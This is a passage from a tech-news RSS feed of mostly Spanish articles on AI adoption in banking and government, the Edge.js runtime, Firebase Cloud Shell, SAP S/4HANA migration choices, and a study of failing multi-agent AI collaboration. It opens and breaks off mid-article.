<p>· Casi la mitad (47 %) cae en lo que IDC llama el “dilema de la confianza”. O lo que es lo mismo: infrautilizar la IA porque no confían lo suficiente en ella, o dependen en exceso de sistemas de IA que no han sido validados de forma adecuada.</p>



<p>El estudio también concluye una tendencia preocupante: la inversión en capacidades de IA no se iguala con la inversión en los pilares de innovación responsable que hacen que la IA sea de fiar. Una desconexión muy peligrosa si tenemos en cuenta que el bancario es un sector en el que el fallo de un solo modelo puede desencadenar sanciones regulatorias o erosionar la confianza del consumidor de la noche a la mañana.</p>



<p>Y no será por inversión, pues la trayectoria de gasto en IA de los bancos supera a todos los demás sectores del estudio. La mayoría de los bancos (60%) espera un crecimiento de entre el 4% y el 20%, mientras que un grupo más reducido (12%) anticipa aumentos aún más pronunciados.</p>



<p>De todas formas, el estudio destaca estas debilidades que caracterizan al sistema bancario:</p>



<p>· Casi uno de cada cinco bancos (19%) sigue operando con una infraestructura de datos en silos, la peor tasa entre las industrias analizadas en el estudio.</p>



<p>· Una parte importante carece de una gobernanza de datos eficaz (45%) y/o de una infraestructura de datos centralizada u optimizada (41%).</p>



<p>· Muchos bancos (42%) también se enfrentan a la escasez de habilidades especializadas en IA.</p>



<p>Como solución a estos problemas, el estudio muestra que más de la mitad (52%) de los bancos planea expandir su arquitectura de IA, y otro 43% planea formar o ampliar equipos dedicados a la IA. Sin embargo, menos de un tercio (31%) planea enfocarse en desarrollar y ajustar los modelos de IA por sí mismos.</p>



<p>La conclusión del estudio no puede ser más palmatoria: “Estas barreras no son ni abstractas ni teóricas; son estructurales”.</p>



<p>O como ha explicado Kathy Lange, directora de investigación de la Práctica de IA y Automatización de IDC, “sin una arquitectura de datos sólida, marcos de gobernanza y cantera de talento, los bancos corren el riesgo de invertir dinero en iniciativas de IA que no pueden ofrecer un retorno de la inversión (ROI) o, peor aún, que socavan la misma confianza de la que dependen”.</p>



<p>En cuanto a otros aspectos analizados, el informe también destaca que:</p>



<p>· Los bancos también avanzan de forma más decidida que otros sectores hacia la IA agéntica, y casi un tercio planea aumentar la inversión en IA confiable para respaldar sistemas más autónomos. No obstante, conforme los sistemas de IA adquieren mayor autoridad en la toma de decisiones se vuelven más graves las consecuencias de una gobernanza débil.</p>



<p>· Las empresas que utilizan la IA para mejorar la experiencia del cliente registraron el mayor retorno de la inversión: 1,83 dólares por cada dólar invertido, seguidas de cerca por las compañías centradas en expandir la cuota de mercado (1,74 dólares). Aquellas centradas en el ahorro de costes registraron cifras más bajas: 1,54 dólares por dólar.</p>



<p>· Las empresas que priorizaron una IA confiable tenían un 60% más de probabilidad de duplicar el retorno general de sus iniciativas de IA. Esa es una prueba sólida de que la innovación responsable es un acelerador del crecimiento que se amortiza con creces.</p>



<p>Lo que ha llevado a Mónica Gutiérrez, directora de ventas para Servicios Financieros de SAS para España y Portugal, a declarar que “ningún banco quiere quedar rezagado en esta carrera altamente competitiva, y los ahorros de costes por sí solos no los mantendrán en ella. Los bancos que ganen serán aquellos que inviertan en gobernanza, explicabilidad, transparencia y cimientos de datos sólidos antes de escalar, no después de que algo se rompa”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[El 80% de los Gobiernos implementará agentes de IA en 2028 para automatizar la toma de decisiones rutinarias]]></title>
<description><![CDATA[Al menos el 80% de los Gobiernos implementará agentes de IA para automatizar la toma de decisiones rutinarias, mejorando la eficiencia y la prestación de servicios para 2028.



Es la conclusión a la que llega Gartner en su último estudio. No obstante, la obtención de decisiones más rápidas, cohe...]]></description>
<link>https://tsecurity.de/de/3366863/it-nachrichten/el-80-de-los-gobiernos-implementar-agentes-de-ia-en-2028-para-automatizar-la-toma-de-decisiones-rutinarias/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3366863/it-nachrichten/el-80-de-los-gobiernos-implementar-agentes-de-ia-en-2028-para-automatizar-la-toma-de-decisiones-rutinarias/</guid>
<pubDate>Fri, 20 Mar 2026 14:16:47 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Al menos el 80% de los Gobiernos implementará agentes de IA para automatizar la toma de decisiones rutinarias, mejorando la eficiencia y la prestación de servicios para 2028.</p>



<p>Es la conclusión a la que llega Gartner en su último estudio. No obstante, la obtención de decisiones más rápidas, coherentes y explicables a gran escala pasa porque los directores de sistemas de información (CIO) den un giro hacia modelos operativos centrados en la toma de decisiones, al tiempo que protegen la confianza pública.</p>



<p>Daniel Nieto, analista director sénior de Gartner, considera que estos profesionales de las administraciones públicas se ven sometidos a una presión cada vez mayor para integrar la IA en las capacidades de toma de decisiones de forma rápida y responsable.</p>



<p>De hecho, considera que “el auge de la IA multimodal, junto con los sistemas conversacionales y de agentes, ha ampliado lo que las organizaciones públicas pueden automatizar, comprender y anticipar”.</p>



<p>De todas formas, para lograr ese resultado es necesario salvar una importante barrera para el valor de la IA en el sector público, como es la fragmentación. En este sentido, según una encuesta de Gartner realizada el verano pasado, el 41% de los encuestados citó las estrategias aisladas y el 31% los sistemas heredados como retos clave para la adopción e implementación de soluciones digitales”.</p>



<p>Por eso Nieto considera que “la modernización tecnológica por sí sola no ha resuelto estos problemas”.</p>



<h2 class="wp-block-heading">La gobernanza debe pasar de los modelos a las decisiones</h2>



<p>Los enfoques de gobernanza también deben evolucionar a medida que la IA pasa de la fase experimental a integrarse profundamente en la toma de decisiones. De manera tradicional, la gobernanza de la IA se ha centrado en la gestión de modelos, datos y algoritmos.</p>



<p>Pero ahora resulta que la inteligencia de decisión (DI) ha desplazado este enfoque hacia la gobernanza de las propias decisiones, por ejemplo, en cómo se diseñan, ejecutan, supervisan y auditan. Un cambio especialmente crítico en el sector público, donde la legitimidad pública se basa en la transparencia y la equidad.</p>



<p>Volviendo a la encuesta de Gartner, el 39% de los encuestados citó la mejora del servicio y la satisfacción de los ciudadanos como razones principales para invertir en fomentar la confianza de los ciudadanos. En este sentido, lo que la DI ofrece es una base estructural para hacer operativa esta confianza al hacer que las vías de decisión sean explícitas y auditables.</p>



<p>Para Nieto, “al gobernar las decisiones, en lugar de limitarse a componentes aislados de IA, los Gobiernos pueden equilibrar mejor la automatización con el juicio humano, especialmente en contextos de alto riesgo o que afectan a los derechos. Los sectores regulados y los Gobiernos no pueden basarse en sistemas opacos de “caja negra” para tomar decisiones trascendentales. Gracias a la DI, se eleva la explicación de un requisito técnico a un imperativo de gobernanza”.</p>



<p>Dada la necesidad de transparencia en la toma de decisiones, de cara a 2029 el 70% de los organismos gubernamentales exigirán mecanismos de IA explicable (XAI) y de intervención humana en el bucle (HITL) para todas las decisiones automatizadas que afecten a la prestación de servicios a los ciudadanos, según establece Gartner. Hay que en cuenta que los diseños de XAI y HITL son fundamentales para la DI en el sector público, al garantizar que la lógica de las decisiones pueda inspeccionarse, explicarse y cuestionarse. Y lo más importante: permite a los seres humanos conservar la autoridad sobre las excepciones, las apelaciones y los casos de alto riesgo, a la vez que mantiene la rendición de cuentas incluso a medida que aumenta la automatización.</p>



<h2 class="wp-block-heading">La confianza de los ciudadanos, un motor clave de la transformación digital</h2>



<p>El estudio de Gartner también determina que, más allá de la eficiencia, la clave de la transformación digital reside en la confianza de los ciudadanos en la capacidad del gobierno para prestar servicios eficaces. En este sentido, el 50% de los encuestados del sector público citó la mejora de la experiencia del ciudadano como una de sus tres principales prioridades.</p>



<p>Nieto no puede ser más claro: “A medida que la IA y la inteligencia de decisión automatizan y agilizan cada vez más la prestación de servicios, la noción tradicional de “experiencia del ciudadano” evoluciona”.</p>



<p>“Cuando los ciudadanos reciben automáticamente del Gobierno lo que necesitan —prosigue—, las interacciones directas pueden disminuir, lo que hace que la confianza en la fiabilidad, la equidad y la transparencia del sistema sea aún más crítica. Dado que la confianza es tan imprescindible en estas situaciones, la capacidad predictiva para anticipar necesidades potenciales podría redefinir la forma en que se prestan los servicios digitales del gobierno”.</p>



<p>En resumidas cuentas, los gobiernos pueden rediseñar los flujos de decisión en los servicios de atención al ciudadano, pasando de interacciones reactivas y basadas en procesos a una participación proactiva y personalizada gracias a la DI. El resultado es una mejor coherencia y una reducción de los retrasos, así como un refuerzo de la percepción de equidad y un fomento la confianza pública, incluso cuando es menos frecuente el contacto directo con el personal gubernamental.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Edge.js launched to run Node.js for AI]]></title>
<description><![CDATA[Wasmer has introduced Edge.js as a JavaScript runtime that leverages WebAssembly and is designed to safely run Node.js workloads for AI and edge computing. Node apps can run inside a WebAssembly sandbox.



Accessible from edgejs.org and introduced March 16, Edge.js is intended to enable existing...]]></description>
<link>https://tsecurity.de/de/3365021/ai-nachrichten/edgejs-launched-to-run-nodejs-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3365021/ai-nachrichten/edgejs-launched-to-run-nodejs-for-ai/</guid>
<pubDate>Fri, 20 Mar 2026 04:27:10 +0100</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wasmer has introduced Edge.js as a <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime that leverages WebAssembly and is designed to safely run <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> workloads for AI and edge computing. Node apps can run inside a <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a> sandbox.</p>



<p>Accessible from <a href="https://edgejs.org/">edgejs.org</a> and introduced <a href="https://wasmer.io/posts/edgejs-safe-nodejs-using-wasm-sandbox">March 16</a>, Edge.js is intended to enable existing Node.js applications to run safely and with startup times impossible to get with containers, according to Wasmer. Instead of introducing new APIs, Edge.js preserves Node compatibility and isolates the unsafe parts of execution using WebAssembly<strong>. </strong>Existing Node.js applications and native modules can run unmodified while system calls and native modules are sandboxed through <a href="https://wasix.org/">WASIX</a>, an extension to the WebAssembly System Interface (WASI). WASIX was designed to make WebAssembly more compatible with POSIX programs, enabling seamless execution of more complex applications in both server and browser environments.</p>



<p>Reimagining Node.js, Edge.js is sandboxed via <code><strong>--safe</strong></code> mode. It is built for AI and serverless workloads, Wasmer said. Edge.js currently supports the V8 and JavaScriptCore JavaScript engines. The architecture is engine-agnostic by design. Plans call for adding support for the QuickJS and SpiderMonkey engines. Additional engines are welcome.</p>



<p>Edge.js is currently about 5% to 20% slower than current Node.js when run natively, and 30% slower when run fully sandboxed with Wasmer. In some cases, when Native&lt;&gt;Wasm work is intense, as when doing HTTP benchmarks, there could be a bigger gap. Wasmer intends to focus on closing that gap for Edge.js 1.0 and for the next releases of Wasmer.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud Shell in Firebase Console]]></title>
<description><![CDATA[Author: Firebase - Bewertung: 0x - Views:8 Simplify your Firebase development workflow by using Cloud Shell directly within the Firebase Console. Nohe demonstrates how Cloud Shell eliminates the need for local tool installations and complex environment setups, allowing you to control Firebase pro...]]></description>
<link>https://tsecurity.de/de/3362511/it-security-video/cloud-shell-in-firebase-console/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3362511/it-security-video/cloud-shell-in-firebase-console/</guid>
<pubDate>Thu, 19 Mar 2026 17:02:28 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Firebase - Bewertung: 0x - Views:8 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/BlTp-VTglbE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Simplify your Firebase development workflow by using Cloud Shell directly within the Firebase Console. Nohe demonstrates how Cloud Shell eliminates the need for local tool installations and complex environment setups, allowing you to control Firebase projects, deploy Cloud Functions, and experiment with new web apps effortlessly. Discover how built-in tools like Node.js, Git, Firebase CLI, and Gemini CLI enable tasks such as image conversion and web app deployment, all from a pre-authenticated Google Cloud environment.<br />
<br />
Documentation →  https://goo.gle/3NgzVhJ <br />
<br />
Chapters:<br />
0:00 - Introduction<br />
0:45 - Introducing Cloud Shell in the Firebase Console <br />
1:15 - Tour of the Tools: Node, Git, & Firebase CLI <br />
1:50 - Pro Tip: Using the Gemini CLI with Auto-Auth <br />
2:30 - Demo: Batch Image Conversion to AVIF <br />
3:10 - Experimenting Without Commitment: firebase init <br />
3:55 - Vibe Coding & Deploying to Firebase Hosting <br />
4:30 - Editing Code Directly in the Console <br />
5:00 - Wrap-up: What are you building? <br />
<br />
#Firebase #CloudShell #WebDev #NodeJS  #GoogleCloud #Gemini<br />
<br />
Watch more Firebase Release Notes Deep Dive → https://goo.gle/frn-deepdive<br />
Subscribe to Firebase → https://goo.gle/Firebase<br />
<br />
Speaker: Alexander Nohe<br />
Products Mentioned: Firebase,  Firebase AI Logic<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[¿Qué ocurre si la hoja de ruta de S/4HANA de SAP no se adapta a las necesidades de los CIO?]]></title>
<description><![CDATA[La noticia de The Register de la negativa de Kingfisher a migrar a SAP S/4HANA se expandió por Internet a finales de 2025. El gigante minorista —que trasladó su sistema ECC principal a Google Cloud con el apoyo de Rimini Street y añadió IA, personalización y motores de recomendación— ya está vien...]]></description>
<link>https://tsecurity.de/de/3361699/it-security-nachrichten/qu-ocurre-si-la-hoja-de-ruta-de-s4hana-de-sap-no-se-adapta-a-las-necesidades-de-los-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3361699/it-security-nachrichten/qu-ocurre-si-la-hoja-de-ruta-de-s4hana-de-sap-no-se-adapta-a-las-necesidades-de-los-cio/</guid>
<pubDate>Thu, 19 Mar 2026 11:49:35 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La noticia de <em>The Register</em> de la negativa de <a href="https://www.theregister.com/2025/11/12/retail_giant_kingfisher_says_no/" target="_blank" rel="nofollow">Kingfisher a migrar a SAP S/4HANA</a> se expandió por Internet a finales de 2025. El gigante minorista —que trasladó su sistema ECC principal a Google Cloud con el apoyo de Rimini Street y añadió IA, personalización y motores de recomendación— ya está viendo los frutos. “Es un ejemplo perfecto de una evaluación del coste y el riesgo de seguir con SAP”, afirma <strong>John Burns, director de sistemas y controles financieros en Summit BHC</strong>. “En algún momento tendrán que dar un paso, pero se han dado un respiro a una fracción del coste”, añade el directivo, que lleva décadas especializándose en transformaciones de ERP.</p>



<p>La <a href="https://www.cio.com/article/3994911/el-camino-hacia-s-4hana-como-estan-gestionando-los-cio-el-fin-del-soporte-de-sap-ecc.html">fecha límite de SAP en 2027 para el fin del soporte técnico estándar para ECC</a> está generando dudas y confusión mientras los directores de sistemas de información (CIO) sopesan el cambio a S/4 HANA a través de Rise, el paquete de ERP por suscripción basado en la nube de SAP. Existe la promesa de la <a href="https://www.computerworld.es/article/4068610/sap-evoluciona-su-ia-e-impulsa-asistentes-que-trabajaran-con-los-empleados-humanos-en-funciones-especificas.html">automatización mediante IA</a>, una mayor escalabilidad e innovación futura, pero las incertidumbres en cuanto a los costes, la pérdida de personalizaciones y otros cambios están haciendo que el caso de negocio resulte difícil de justificar para algunos CIO.</p>



<p>“Los directores de sistemas de información deberían evaluar la hoja de ruta de SAP de la misma manera que evalúan cualquier otra decisión empresarial: preguntándose si tiene sentido. La transición de ECC a S/4 requiere una reimplementación completa, lo que puede resultar caro y disruptivo”, afirma Burns.</p>



<p>Esto también plantea la cuestión de si se está produciendo un cambio más amplio. A medida que la IA autónoma despega y las organizaciones buscan más flexibilidad, la actualización total del ERP no es la única opción. “La era de un único ERP monolítico que intenta gestionar todas las funciones está siendo sustituida por plataformas ágiles y modulares que reflejan mejor cómo funcionan las empresas en un mundo cada vez más dinámico”, afirma Amit Basu, CIO y CISO de International Seaways.</p>



<p>Quizá sea el momento de reevaluar si una migración obligatoria se ajusta a la arquitectura a largo plazo y si las alternativas nativas de la nube o componibles ofrecen una mayor agilidad. “Los CIO deben evaluar la flexibilidad, la transparencia de los costes a largo plazo y la alineación con su estrategia digital”, sugiere Basu.</p>



<h2 class="wp-block-heading">La dinámica cambiante de la modernización del ERP</h2>



<p>La modernización de SAP suele ser compleja debido a las numerosas personalizaciones, los importantes costes de migración y el esfuerzo organizativo necesario para rediseñar los procesos. “Estos retos suelen empujar a las empresas a considerar una modernización por fases, modelos híbridos o ampliaciones específicas en lugar de un único cambio a gran escala”, afirma Basu.</p>



<p>Basu y su equipo implementaron el ERP en la nube de Oracle en 2018, y ahora el objetivo es maximizar el valor del núcleo moderno mejorando los procesos, reforzando los datos y añadiendo nuevas funcionalidades a través de API. “La tendencia se inclina hacia mantener un núcleo financiero sólido y ampliar las capacidades mediante módulos especializados, en lugar de depender de un único sistema monolítico”, afirma. A medida que se acelera la adopción de la IA, especialmente en torno a los flujos de trabajo agenticos, la automatización y la toma de decisiones basada en datos, las organizaciones buscan más agilidad y flexibilidad en su plataforma ERP. Es posible que las plataformas ERP monolíticas y las transformaciones de ‘gran impacto’ ya no sean adecuadas para todas las organizaciones.</p>



<p>“Si ECC es estable y la ‘actualización’ no ofrece ventajas significativas, no hay necesidad de seguir adelante con la transición. No te estás quedando atrás; estás siendo práctico”, afirma Burns, de Summit. Su consejo para los CIO es que identifiquen cómo el plan de SAP aborda sus problemas o si se trata más bien de una estrategia de ventas. “En última instancia, el enfoque debe centrarse en resistir las presiones externas, ignorar los plazos arbitrarios y elegir el camino que realmente beneficie a tu negocio, no solo al proveedor”, afirma.</p>



<p>Burns cree que optar por no realizar la migración total a SAP en este momento es una decisión práctica que reconoce que hay opciones. “Buscar alternativas a SAP no debe considerarse una medida drástica”, explica a esta publicación.</p>



<p>Lo que está claro es que la modernización del ERP es más que una actualización tecnológica: es una decisión organizativa estratégica. “Muchos CIO lo ven como una oportunidad para reevaluar si una migración obligatoria se ajusta a su arquitectura a largo plazo y si las alternativas nativas de la nube o componibles ofrecen mayor agilidad”, afirma Basu. Han surgido tres grandes vías: modernizar en torno a ECC, adoptar una arquitectura componible o evaluar plataformas ERP alternativas.</p>



<h2 class="wp-block-heading">Mantener el núcleo e innovar en los márgenes</h2>



<p>Una de las opciones, según los expertos, es “innovar en los márgenes”, lo que implica conservar SAP ECC como núcleo estable y modernizar otros elementos. Este enfoque puede resultar atractivo para las organizaciones que desean reinvertir el tiempo y los fondos ahorrados en innovación, al tiempo que se dan un margen para una eventual transición a S/4HANA.</p>



<p>Burns recomienda a las organizaciones mantener los sistemas ERP centrales “lo más básicos posible” para reducir las personalizaciones, facilitar las actualizaciones y utilizar sistemas externos para la IA y otras funciones avanzadas. “Se pueden extraer los datos del ERP, por ejemplo, mediante SQL a BigQuery, y luego desarrollar agentes de IA que accedan a esos datos transaccionales y se conviertan, en la práctica, en la cara visible del sistema ERP”. Pero subraya que hay que tener la casa en orden para que esto funcione, y que este enfoque no es un atajo hacia la innovación.</p>



<p>“Si tus datos están desordenados o tus procesos son inconsistentes, separar las capas no lo solucionará. El núcleo sigue teniendo que estar limpio, y la interfaz sigue teniendo que estar regulada. Cuando esas piezas están en su sitio, el enfoque funciona muy bien”, afirma Burns. Esta ‘fase cero’ es la fase preparatoria crítica en la que las personas, los procesos, los datos y las políticas deben estar estandarizados y totalmente alineados; de lo contrario, surgirán problemas. “Esos datos son su punto de partida y necesita datos buenos, limpios y fiables en los que todo el mundo confíe para incorporarlos a su nuevo sistema”, afirma.</p>



<p>Joe Locandro, director de sistemas de información global de Rimini Street, cree que el término ‘heredado’ ayuda a los proveedores de software a fomentar las actualizaciones, pero lo más nuevo no siempre es lo mejor. En resumen, la longevidad debe considerarse una característica positiva, no un defecto. “Sistemas como SAP son robustos y valiosos, y la modernización no siempre significa abandonarlos”. Cree que se trata de un cambio de paradigma en la forma de pensar, e insta a los CIO a ver el valor de adaptarse de forma incremental y mantener la flexibilidad, así como a maximizar el valor de su sistema existente. “Tienes un activo en tus libros que puedes mantener en funcionamiento hasta 2040 o más allá, pero si renuncias a las licencias perpetuas, no hay vuelta atrás”, explica Locandro a la cabecera CIO. “Saca el máximo partido al activo y construye a partir de él”.</p>



<p>Locandro sugiere que las funciones de <em>back office</em>, como finanzas y RR. HH., son estables y adecuadas para mantenerlas en las instalaciones, mientras que otras pueden trasladarse a la nube. “El comercio electrónico y otras funciones que experimentan picos de carga probablemente se adapten bien a un entorno en la nube, porque puedes ampliar la capacidad muy rápidamente y utilizar solo lo que necesitas”, explica.</p>



<p>“Puedes tener un Oracle, un SAP o lo que sea en la base y añadir nuevas pantallas desarrolladas a través de ServiceNow o Microsoft y nuevos flujos de trabajo en la parte superior. Es un sistema sin interfaz. Toda la innovación, los flujos de trabajo y las pantallas no se parecen en nada a las antiguas pantallas verdes y los botones de SAP. Innova en la parte superior a la velocidad y al coste que puedas permitirte y sigue por este camino hasta que empieces a eliminar elementos de la base porque has construido tanta funcionalidad en la parte superior”, recomienda.</p>



<h2 class="wp-block-heading">El camino hacia el ERP modular</h2>



<p>La lógica de los últimos 20 años ha sido que la consolidación y la estandarización en TI reducen los costes, pero eso ha cambiado a medida que las organizaciones buscan una mayor flexibilidad para adaptarse a las condiciones cambiantes y a las nuevas tecnologías.</p>



<p>El ERP modular, un término popularizado por primera vez por Gartner, desacopla procesos o servicios específicos del núcleo del ERP, lo que permite a las organizaciones añadir funcionalidades según sea necesario, dentro o fuera del ecosistema del proveedor. Está despertando interés a medida que los directores de sistemas de información (CIO) replantean su enfoque de la modernización de SAP.</p>



<p>SAP ha adoptado la componibilidad con servicios modulares como SuccessFactors, analítica y su Business Technology Platform. Sin embargo, la fecha límite de SAP y la explosión de la IA han aumentado el interés por un enfoque verdaderamente componible que evite el bloqueo de proveedores y los costes y limitaciones que ello conlleva.</p>



<p>Una reciente encuesta de Rimini Street reveló que el 83% de los encuestados ve valor en los enfoques componibles para un acceso más rápido a tecnologías emergentes como la IA, mientras que el 94 % destaca la libertad de elegir las soluciones que mejor se adapten a cada necesidad empresarial. “Los CIO y la dirección se han dado cuenta de que, aunque se tenga el menor coste operativo, se ha renunciado a la flexibilidad, la rapidez de comercialización y la innovación, y en un mundo digitalizado, eso es lo que más importa. Creo que ese punto de inflexión cambió en los últimos años, especialmente con la IA”, afirma Locandro.</p>



<p>Basu coincide en que un enfoque componible reduce la dependencia de un único proveedor y permite que los sistemas ERP evolucionen de forma continua en lugar de mediante revisiones disruptivas. “El futuro no lo definirá SAP ni ningún proveedor único. El ERP componible representa el nuevo modelo en el que el ERP es un ecosistema de aplicaciones modulares basadas en la nube que se integran a través de API”, reflexiona Basu. “Las empresas conservan un sólido núcleo financiero y de datos, mientras que las compras, la planificación, el análisis y la automatización son los mejores candidatos para las extensiones modulares. Las API permiten que estos componentes coexistan sin alterar el núcleo”, añade.</p>



<p>También abre la puerta a la innovación a través de la IA. En particular, la IA agentiva está acelerando el cambio hacia el ERP componible porque puede coordinar el trabajo entre múltiples herramientas sin necesidad de un único proveedor para todo. “Los flujos de trabajo agentivos prosperan en arquitecturas con acceso abierto a los datos y API sólidas”, continúa Basu. </p>



<p>Burns sugiere que procesos como el ‘procure-to-pay’ pueden modularizarse y ejecutarse fuera del sistema ERP, con los datos necesarios reintroducidos en él. “Casi puede modularse a sí mismo, lo que significa que te ocupas de la parte de compras, de la parte de cuentas por pagar y, luego, de la parte de pagos por separado”. Está explorando este enfoque en aplicaciones del mundo real. “Estoy estudiando la posibilidad de crear un procesamiento de cuentas por pagar basado en IA en el que se obtuvieran las facturas, se leyeran y luego se introdujeran en el sistema ERP, y esto se haría completamente fuera del ERP, pero sin dejar de introducir los datos”, afirma Burns.</p>



<p>La capacidad de sustituir o actualizar componentes facilita el aprovechamiento de micro-soluciones nuevas y emergentes. “Hay algunas startups que están creando productos excepcionales que son como minisistemas que sustituirán a partes del sistema ERP, como módulos, submódulos o sublibros, y lo harán extremadamente bien porque están muy centradas en esa parte concreta”, afirma.</p>



<h2 class="wp-block-heading">Valorar las opciones de ERP nativo de la nube</h2>



<p>Si los directores de sistemas de información (CIO) quieren trazar un rumbo que se aleje de SAP, primero deben evaluar las necesidades de su organización. Las listas de verificación deben tener en cuenta la escalabilidad, la capacidad para dar soporte a operaciones globales, la seguridad, la arquitectura de datos, la madurez de la integración, la solidez de los análisis y el ecosistema. A continuación, deben evaluar la viabilidad de vías alternativas, como otras plataformas de ERP, innovar en los márgenes o adoptar una estrategia componible.</p>



<p>Las plataformas nativas de la nube y las soluciones específicas para cada sector han madurado significativamente, según Basu, pero es necesario consultar referencias de empresas de tamaño similar para validar esa madurez. Burns, de Summit, se hace eco de esta opinión y señala que Oracle es una de las pocas alternativas a escala empresarial. “Pero las grandes empresas globales pueden tener dificultades para abandonar SAP debido a la profundidad de sus capacidades, especialmente en fabricación y logística”, afirma.</p>



<p>Los CIO pueden temer que las alternativas no sean capaces de gestionar todo el alcance del trabajo, y expertos como Burns creen que esa vacilación puede estar bien fundada. “Los sistemas para el mercado medio parecen estupendos hasta que se les somete a un volumen real de transacciones, casos extremos complicados o necesidades de múltiples entidades. Si fallan ahí, no sirven para nada”, relata.</p>



<p>Los proveedores deben tener la madurez suficiente para ofrecer una gama completa de servicios. Por ejemplo, si todas las preguntas se responden con un «próximamente», eso es una señal de alarma. “Algunas de estas plataformas son excelentes, pero las empresas que las respaldan aún están definiendo los modelos de soporte, las hojas de ruta y la escalabilidad”, añade Burns.</p>



<p>Los CIO también deben prestar atención a los socios de implementación, no solo a los propios proveedores. “Los ERP para el mercado medio suelen depender de pequeñas empresas de implementación que quizá no estén preparadas para entornos complejos. Un buen producto con una red de socios débil te va a perjudicar”, advierte Burns.</p>



<p>Por último, los directores de sistemas de información deben prestar atención a cómo responden los proveedores cuando se les presiona. “Pregunta por los límites, los fallos y los puntos débiles. Si se ponen a la defensiva o empiezan a dar evasivas, aléjate. Los buenos proveedores son honestos sobre lo que aún no pueden hacer”, afirma. “Los directores de sistemas de información deben ignorar el bombo publicitario y centrarse en dos cosas. ¿Puede esta plataforma gestionar mi negocio hoy? ¿Y seguirá existiendo este proveedor dentro de cinco años, cuando lo necesite? Si la respuesta a ambas preguntas es sí, tienes un candidato. Si no, no importa lo ‘nativos de la nube’ que sean”.</p>



<p>El mensaje clave es que la longevidad no es el problema, ni tampoco lo es retrasar la migración y barajar opciones. Y ahora más que nunca, la IA no es una razón para una transformación radical, sino una razón para explorar caminos alternativos. Tanto si los directores de sistemas de información optan por migrar a S/4HANA, modernizar en torno a ECC o tomar otro camino, las decisiones deben centrarse en las necesidades de la propia organización. Y en qué arquitectura ofrece a la empresa mayor flexibilidad, resiliencia y margen para innovar.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La verdadera colaboración entre múltiples agentes de IA no funciona]]></title>
<description><![CDATA[Algunos defensores de la IA promueven una visión en la que docenas de agentes trabajan juntos para resolver problemas complejos con poca o ninguna intervención humana. Hasta ahora, ese escenario es un mito. Los agentes de IA pueden ser eficaces cuando trabajan de forma individual en tareas separa...]]></description>
<link>https://tsecurity.de/de/3361477/it-security-nachrichten/la-verdadera-colaboracin-entre-mltiples-agentes-de-ia-no-funciona/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3361477/it-security-nachrichten/la-verdadera-colaboracin-entre-mltiples-agentes-de-ia-no-funciona/</guid>
<pubDate>Thu, 19 Mar 2026 10:21:33 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Algunos defensores de la IA promueven una visión en la que docenas de agentes trabajan juntos para resolver problemas complejos con poca o ninguna intervención humana. Hasta ahora, ese escenario es un mito. Los agentes de IA pueden ser eficaces cuando trabajan de forma individual en tareas separadas, pero cuando se agrupan para completar tareas complejas, fracasan la mayoría de las veces, <a href="https://zenodo.org/records/18809207" target="_blank" rel="nofollow">según un nuevo estudio de investigación, llamado ‘The Organizational Physics of Multi-Agent AI: Substrate-Independent Dysfunction in Autonomous Software Engineering Swarms’</a>.</p>



<p>Los defensores imaginan un futuro multiagente que conducirá a enormes mejoras de eficiencia y a importantes ahorros de costes, gracias a que la IA autónoma basada en agentes se encargará de muchas de las tareas complejas que actualmente realizan los empleados humanos. Pero la mayoría de las organizaciones que implementan múltiples agentes para un único flujo de trabajo, en realidad los separan en silos de agentes individuales asignados a tareas específicas, pasando su trabajo a una capa de orquestación antes de que otro agente se haga cargo.</p>



<p><strong>La verdadera colaboración entre múltiples agentes no funciona porque los agentes adolecen de los mismos problemas organizativos que los humanos</strong>, afirma el investigador de sistemas organizativos y autor del citado estudio, <strong>Jeremy McEntire</strong>. Los agentes ignoran las instrucciones de otros agentes, rehacen el trabajo que otros ya han hecho, no delegan y se quedan atascados en la parálisis de la planificación, afirma.</p>



